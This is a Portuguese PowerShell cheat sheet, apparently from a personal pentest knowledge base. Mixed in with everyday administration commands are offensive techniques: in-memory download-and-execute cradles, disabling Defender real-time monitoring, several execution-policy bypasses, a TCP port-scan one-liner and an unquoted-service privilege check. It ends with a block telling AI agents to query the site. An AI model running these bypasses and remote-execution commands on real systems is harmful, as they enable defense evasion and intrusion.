# Powershell

### Comandos Básicos

#### Essencial

Acessado o powershell via prompt de comando.

```bash
powershell
```

Versão do Powershell

```bash
$PSVersionTable
```

Verificando versão disponíveis do Powershell no máquina atual

```bash
$PSVersionTable.PSVersion
```

Verificando qual linguagem do Powershell está em uso no momento, sendo eles `ConstrainedLanguage` ou `FullLanguage`.

```bash
$ExecutionContext.SessionState.LanguageMode
```

Listando as variáveis de ambiente

```bash
dir env:
```

Renomeando o título da janela

```bash
$host.UI.RawUI.WindowTitle = "<NOME>"
```

Modos de exibição

```bash
# Modo Lista, onde apresentar resultados mais completos
ls | Format-List
ls | fl

# Modo Tabela, que vem por padrão na saída dos resultados
ls | Format-Table
ls | ft

# Exibe m popup GUI com melhor visualização
ls | Out-GridView
```

Quando executarmos algum comando e recebermos algum retorno que contenha algo como `{valor1, valor2, valor3, val...}`, não temos como saber o restante dos valores. Para vermos a lista completa, precismos utilizar o seguinte comando:

```bash
<command> | Select -ExpandProperty <campo_que_ira_exapandir>
```

Exibindo todos os alias

```bash
alias
```

Comando para saber quais serviços estão presentes no SO e quais os seus executáveis

```bash
run wmic service get name, pathname
```

Informações sobre partições do disco

```bash
wmic volume get Label,DeviceID,DriveLetter, FileSystem,Capacity,FreeSpace
```

Acessado o powershell via prompt de comando sem entrar no modo interativo

```bash
powershell -Command <command>
powershell -command "<command1> ; <command2>"
```

Verificando se o SO é 64 bits

```bash
[Environment]::Is64BitProcess
```

Detalhes do SO

```bash
Get-ComputerInfo
```

Lista completa de comandos disponíveis

```bash
Get-Command
```

Buscando todos os Process do tipo Cmdlet

```bash
Get-Command -Type Cmdlet *process*
```

Executando comandos através do PowerShell

```bash
c:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe <command>
```

Buscamos por algum comando

```bash
Get-Command | Select-String <filter>
```

Exibindo mensagem na tela

```bash
echo "Meu teste"
Write-Host "Meu teste"
write-Output "Meu teste"
'ola mundo'
"ola mundo"
```

Diretório atual

```bash
pwd
get-location
```

Lendo arquivos

```bash
cat <file>
type <file>
```

Lista os processos em execução

```bash
Get-Process
```

Procurando por um processo que começe com `Calc` e executando um `kill` para finalizá-lo

```bash
Get-Process -Name "Calc*" | kill
```

Buscando o path completo de determinado executável

```bash
Get-Command 'whoami'
Get-Command 'calc'
```

Alterando User Agent em requisições web

```bash
$downloader = New-Object System.Net.WebClient
$downloader.Headers.Add("User-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0")
iex $downloader.DownloadString("<http://site.com.br>")
```

Configurando Proxy em requisições web

```bash
$downloader = New-Object System.Net.WebClient
$proxy = [Net.WebRequest]::GetSystemWebProxy()
$proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
$downloader.Proxy = $proxy
iex $downloader.DownloadString("<http://site.com.br>")
```

Para verificar as configurações atuais de Proxy, basta digitar:

```bash
[Net.WebRequest]::GetSystemWebProxy()
```

Windows Defender

```bash
# Habilitando a proteção Real-Time
Set-MpPreference -DisableRealtimeMonitoring $false

# Desabilitando a proteção Real-Time
Set-MpPreference -DisableRealtimeMonitoring $true
```

Vendo logs do que o Defender bloqueou

```bash
Get-MpThreatDetection | sort $_.InitialDetectionTime

# Vendo a última detecção
Get-MpThreatDetection | sort $_.InitialDetectionTime | Select -First 1
```

#### Get-Help

Semelhante ao comando `man` do Linux, temos o `Get-Help` no Powershell, que serve como um manual para os comandos disponíveis

```bash
Get-Help <command>
```

Podemos utilizar argumentos adicionais no nosso helper, como por exemplo:

```bash
# Informções completas do comando
Get-Help <command> -Full

# Detalhes do comando
Get-Help <command> -Detailed

# Exemplos de utilização do comando
Get-Help <command> -Examples

# Abre a página web do tutorial da Microsoft
Get-Help <command> -Online

# Abre o resultado em um popup
Get-Help <command> -ShowWindow
```

#### Properties

Vendo as propriedades de um comando (objeto). No exemplo abaixo, utilizamos o `Get-Process` (`ps`) como exemplo, mas podemos utilizar outros comando em seu lugar. Note que o `Get-Member` possui o alias `gm`.

```bash
Get-Process | Get-Member
Get-Process | gm
```

Como tudo no Powershell é um objeto, uma simples string pode conter `Method` e `Property`. No exemplo abaixo, estamos dando um `echo` em `abc` (lembrando que não precisamos escrever `echo`) e pegando as suas informações de acesso.

```bash
'abc' | Get-Member
```

Filtrando somente por `Member-Type` que possua o valor `Method`

```bash
Get-Process | Get-Member -MemberType Method
```

Acessando as propriedades

```bash
ls | fl -Property FullName,Length
Get-ChildItem | Format-List -Property FullName,Length
```

Ao vermos um tipo de `Property` ao executar o `Get-Member`, devemos especificar o formato, como por exemplo, o `Format-List (ou` fl\`) para poder acessar suas propriedades

```bash
Get-Process | fl -Property Id,Name,StartTime

# Pegando todas as propriedades
Get-Process | fl -Property *
```

#### Manipulando Saídas

Abaixo alguns métodos que podemos acessar com uma string:

```bash
# Deixando todas as letras maiúsculas
'abc'.toUpper()

# Comparando a string `abc` com `def`
'abc'.CompareTo('def')

# Quebrando string por vírgula
'a,b,c,d,e,f'.split(',')

# Quebrando string por vírgula e deixando as letras em maiúsculo
'a,b,c,d,e,f'.split(',').ToUpper()

# Retornando os 5 primeiros serviços de maneira ordenada (Sort), que estão consumindo mais memória 
ps | Sort-Object -Property WS -Descending | Select-Object -First 5
ps | Sort-Object -Property WS | Select-Object -Last 5

# Retornando o primeiro resultado de processo que mais estão utilizando memória, porém ignorando as 3 primeiras linhas, ou seja, retorna somente a quarta linha
ps | Sort-Object -Property WS -Descending | Select-Object -Index 3
ps | Sort-Object -Property WS -Descending | Select-Object -First 1 -Skip 3

# Agrupando resultados
<command> | ft -GroupBy <column>
```

#### Select

```bash
Get-Service dhcp | Select ServiceName,CanPauseAndContinue,DisplayName
```

#### Select-String

Procurando pela string "pass" em todos os arquivos txt

```bash
Select-String -Path .\*.txt -Pattern pass*
ls -r . -File *.txt | %{ sls -Path $_ -Pattern pass* }
```

#### Array

Removendo valores duplicados no array

```bash
'a','b','c','a','b','c','d' | Select-Object -Unique
```

Exibe todos os valores do array menos o primeiro

```bash
'a','b','c','a','b','c','d' | Select-Object -Skip 1
```

Exibe todos os valores do array menos os 3 primeiros

```bash
'a','b','c','a','b','c','d' | Select-Object -Skip 3
```

### Modules

Verificando todos os Módulos que estão importados na sessão atual

```bash
Get-Module
```

Verificando todos os Módulos que estão dispóníveis para serem importados

```bash
Get-Module -ListAvailable
```

Para importar um Módulos presente no resultado do comando acima, basta executar:

```bash
Import-Module <module>
```

Caso seja um módulo baixado da internet ou até mesmo desenvolvido por conta própria, execute:

```bash
Import-Module <file.psm1>
```

Também podemos importar Módulos, usando a técnica Dot-Sourcing, que consiste na seguinte estrutura

```bash
. .\<file.ps1>
```

Outra maneira diferente de fazer um importar um módulo:

```bash
ipmo <file.ps1>
```

Localizando o diretório do Módulos. Caso coloque scripts nesses diretórios, eles serão carregados automaticamente no Powershell, permitindo serem executados de forma nativa

```bash
$Env:PSModulePath
```

Listando todos os `cmdlet` de um determinado Módulo

```bash
Get-Command -Module <module>
```

Caso tenha queira executar alguma `function` no resultado do comando acima e não sabe ao certo como utilizar, execute o comando abaixo para ter mais detalhes sobre o seu uso

```bash
Get-Help <function>
```

### Foreach

Multiplando por 2, cada um dos itens

```bash
1,2,3,'a','b','c' | % {$_ * 2}
```

Matando todos os processos do Chrome, semelhante a um `ps -Name Chrome | kill`

```bash
Get-Process -Name "chrome" | % {Stop-Process $_}
```

### Where-Object

Executando comandos e realizando filtros. Note que a `?` pode ser substituída por `Where-Object`

```bash
ps | ? {$_.ProcessName -eq "Calculator"}
ps | ?{$_.PriorityClass -eq "normal"} | fl -Property Name, PriorityClass
ps | ?{$_.PriorityClass -ne "normal" -and $_.PriorityClass -ne $null} | fl -Property Name, PriorityClass
ps | Where-Object {$_.Name -ne "chrome"}
ls | ? {$_.Name -eq "mysther"}

# Este só funciona a partir da versão 3 do Powershell
ps | ? -Property PriorityClass -eq -Value "normal"
```

Por exemplo, para pegarmos todos os serviços que estão em execução, podemos executar o seguinte comando:

```bash
Get-Service | ? {$_.Status -eq 'Running'}
```

### Bypass Para Copiar Arquivos

```bash
findstr /V /L "StringQueNaoExiste" \\<ip>\mysther\script.ps1 > <C:\Users\Mysther\Desktop\script.ps1>
```

### Profile

Os Profiles são perfis, onde scripts são executados assim que o Powershell for inicializado. Para executarmos um comando sem um perfil, podemos utilizar um comando seguindo o exemplo abaixo:

```bash
echo 'Write-Host "Eu sou:" ; whoami ' | powershell -noprofile -
```

### Redes

Exibindo detalhes sobre as unidade de rede que estão mapeadas

```bash
wmic netuse list full
```

Verificando conectividade

```bash
# Ping
Test-Connection <target>

# Traceroute
Test-Connection <target> -Traceroute
```

Verificando portas com `Test-NetConnection`.&#x20;

```bash
# Saída padrão
Test-NetConnection <target> -Port <port>

# Saída limpa
Test-NetConnection <target> -Port <port> -WarningAction SilentlyContinue -InformationLevel Quiet

# Saída personalizada
if (Test-NetConnection <target> -Port <port> -WarningAction SilentlyContinue -InformationLevel Quiet) { echo "Porta aberta" } else { echo "Porta fechada" }
```

Verificando portas com `Net.Sockets.TcpClient`.

```bash
1..65535 | % {echo ((New-Object Net.Sockets.TcpClient).Connect('<ip>', $_)) "Port $_ is open"} 2>$null
$ip = "<ip>" ; for ($port = 1 ; $port -lt 65535 ; $port++) {try { $socket = New-Object System.Net.Sockets.TcpClient($ip,$port); "${ip}:${port} is open" } catch {"${ip}:${port} is close"}}
$ip = "<ip>" ; for ($port = 1 ; $port -lt 65535 ; $port++) {try { $socket = New-Object System.Net.Sockets.TcpClient($ip,$port); "${ip}:${port} is open" } catch {}}
```

Converte um arquivo com hostname em IP's

```bash
Get-Content <file-hostname.txt> | ForEach-Object { [System.Net.Dns]::GetHostAddresses($_) } | Select IPAddressToString
```

#### IPv4NetworkScan.ps1

```bash
.\IPv4NetworkScan.ps1 -IPv4Address 192.168.1.0 -Mask 255.255.255.0 -DisableDNSResolving
.\IPv4NetworkScan.ps1 -IPv4Address 192.168.1.0 -CIDR 24
```

###

### Lendo, Filtrando, Pesquisando e Manipulando Saídas

Filtrando palavras de forma semelhante ao `grep` (Linux)

```bash
type <file> | Select-String "<find>"
```

Quebrando string em partes

```bash
$x = "eu:uso:powershell"
$x.split(':')[0] // eu
$x.split(':')[1] // uso
$x.split(':')[2] // powershell
```

Substituindo caracteres

```bash
$x = "abcdef"
$x -replace "a",""

$str = 'Minha-string'
$str.replace('-', ' ')
```

Listando todos os arquivos de forma recursiva

```bash
gci -recurse . | select fullname
```

Contando quantidade de resultados (linhas), semelhante ao `wc -l` do Linux

```bash
ls | Measure-Object | select count
```

Retornando softwares instalados no computador

```bash
get-ciminstance win32_product | fl
```

Retornando softwares instalados no computador, filtrando somente por produtos que não contém o nome "Microsoft"

```bash
get-ciminstance win32_product -Filter "NOT Vendor like '%Microsoft%'" | fl
```

### WEB

Baixando um arquivo

```bash
# Baixando arquivo e "executando" direto na memória (sem baixar no HD)
IEX(New-Object Net.WebClient).downloadString('http://<site.com>/<file>')

# Baixando arquivo no HD
iex(New-Object Net.WebClient).DownloadFile("http://<site>/<file>", "C:\Users\<user>\Downloads\<file>")
Invoke-WebRequest -Uri "http://<site>/<file>" -OutFile "C:\Users\<user>\Downloads"
Invoke-WebRequest "http://<site>/<file>" -OutFile "C:\Users\<user>\Downloads"
```

Método HTTP

```bash
Invoke-WebRequest <www.site.com.br> -Method <method>
```

Pegando somente o Status Code

```bash
(Invoke-WebRequest <www.site.com.br>).status.code
```

Pegando somente o conteúdo html

```bash
(Invoke-WebRequest <www.site.com.br>).status.content
```

Pegando somente o header

```bash
(Invoke-WebRequest www.site.com.br).headers
(Invoke-WebRequest www.site.com.br).headers.server
```

Pegando somente os links de uma página web

```bash
(Invoke-WebRequest www.site.com.br).links
(Invoke-WebRequest www.site.com.br).links.href
```

### Usuários e Grupos

Listando usuários

```bash
Get-LocalUser
Get-LocalUser | ft Name,Enabled,LastLogon
whoami /alluser
```

Listando grupos

```bash
Get-LocalGroup
Get-ChildItem c:\Users -Force | select Name

# Grupos locais
net localgroup
```

Usuários locais que fazem parte de um determinado grupo

```bash
net localgroup <grupo>
```

###

### Segurança

Ignorando política de execução, pois o PowerShell é altamente monitorado usando ACLs, histórico de comandos, System Center Configuration Manager \[SCCM], etc.

#### ExecutionPolicy

Tipos de perfil:

* `Default` = Política de execução padrão. *Restricted* para usuários em Desktop e *RemoteSigned* caso seja um servidor
* `RemoteSigned` = Os scripts baixados na internet são obrigados a ter uma assinatura digital de uma fonte confiável
* `Restricted` = Comandos individuais podem ser executados, porém arquivos ps1 não podem
* `Unrestricted` = Script que não são assinados podem ser executados
* `Undefined` = Não possui política definida para o escopo atual
* `AllSigned` = Os scripts executados devem ser assinados por uma fonte confiável

Verificando a configuração atual

```bash
Get-ExecutionPolicy
```

Verificando a permissão de um determinado escopo

```bash
Get-ExecutionPolicy -Scope CurrentUser
```

Verificando a permissão de todos os escopos

```bash
Get-ExecutionPolicy -list
```

Realizando bypass para pegar todos os acessos

```bash
powershell -ep bypass

#ou

Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
```

Outra maneira de realizarmos bypass, é alterando o `$AuthorizationManager` por `$null`, é executando o comando abaixo. Nada é exibido na tela e se executarmos um `Get-ExecutionPolicy`, nada irá ser alterado também, porém mesmo assim podemos executar arquivos ps1 no powershell.

```bash
($bpexec=$executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue($executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($bpexec, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
./<file.ps1>
```

Bypass na execução de um único arquivo

```bash
powershell -ExecutionPolicy Bypass -File <file.ps1>
powershell -ExecutionPolicy Bypass ./<file.ps1>
powershell -ep bypass ./<file.ps1>
```

Executa um comando com bypass e em seguida já volta para o padrão de segurança do Powershell

```bash
powershell -ep bypass <command>
```

Deixa o terminal com permissões de execução. Note que para ter êxito com esse comando, precisa ter acesso administrador

```bash
# Realiza o bypass
Set-ExecutionPolicy Bypass -Force

# Volta para o modo restrito
Set-ExecutionPolicy restricted -Force
```

Altera a permissão no escopo Process

```bash
Set-ExecutionPolicy bypass -scope Process
```

Altera a permissão no escopo CurrentUser -Force

```bash
Set-ExecutionPolicy bypass -scope CurrentUser -Force
```

Verificando permissões de diretório

```bash
Get-Acl C:\Windows\Tasks | fl
```

#### Service Unquoted

Retorna um conjunto de serviços que possui um caminho inseguro configurado incorretamente durante a instalação

```bash
Get-ServiceUnquoted -verbose
```

### Condições / Repetidores

Contadores

```bash
1..10
```

Foreach

```bash
foreach ($x in 1..254) { echo "192.168.1.$x" }
```

### Sites

```bash
# Diversos scripts úteis para Powershell
https://github.com/fleschutz/PowerShell

# IPv4NetworkScanner
https://github.com/BornToBeRoot/PowerShell_IPv4NetworkScanner
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/sistemas-operacionais/windows/utilizacao/powershell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
